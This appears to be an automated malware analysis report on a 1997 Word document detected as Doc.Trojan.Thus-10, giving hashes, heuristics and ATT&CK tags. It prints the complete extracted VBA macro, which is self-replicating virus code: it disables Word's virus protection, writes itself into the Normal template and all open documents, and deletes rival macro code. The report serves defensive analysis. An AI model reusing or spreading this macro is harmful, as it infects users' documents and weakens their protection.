Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5d96cef6c4d6cd2…

MALICIOUS

Office (OLE)

40.5 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1b1881ee5120fac48aa168c3ac8c31a4 SHA-1: aa4c23f65789fdacbd163565b16dd66cbcf12865 SHA-256: f5d96cef6c4d6cd2f06d2ba8035e89c9de70a3057ac7834ea917edb6ea3c781a
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious Office documents. The script attempts to disable virus protection and manipulate the Normal template, suggesting an effort to evade detection or establish persistence. The ClamAV detection name 'Doc.Trojan.Thus-10' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3674 bytes
SHA-256: 8f9aceef545ed95ec31bef961bab2096f8f43d355571199785a35c04ebbfbdfa
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Мені вже набрид цей гидкий Thus_001, тому я вимушений був написати цей Destroyer'
'Anti-Smyser'
'Якщо вона нашкодить комусь - ЗВИНЯЙТЕ!'
'Destroyer'
'Абдулла'
On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) = "'Anti-Smyser'" And NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(5, 1) <> "'Destroyer'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) = "'Anti-Smyser'" And Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(5, 1) <> "'Destroyer'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
    If Date > DateSerial(2001, 6, 16) Then
        a = MsgBox("Випускникам 2001-го - ВІВАТ!!!                                                                       =Abdulla`s Thus_001 Killer=", vbCritical, "Thus_001 Virus Destroying")
        'Farewell to the Thus_001'
         For k = 1 To Application.Documents.Count
          If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) = "'Anti-Smyser'" Then
                    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
                    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
                    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
              Application.Documents.Item(k).Save
          End If
         Next k
        If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) = "'Anti-Smyser'" Then
                NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
                .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
                .CodeModule.CountOfLines
        End If
        If NormalTemplate.Saved = False Then NormalTemplate.Save
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub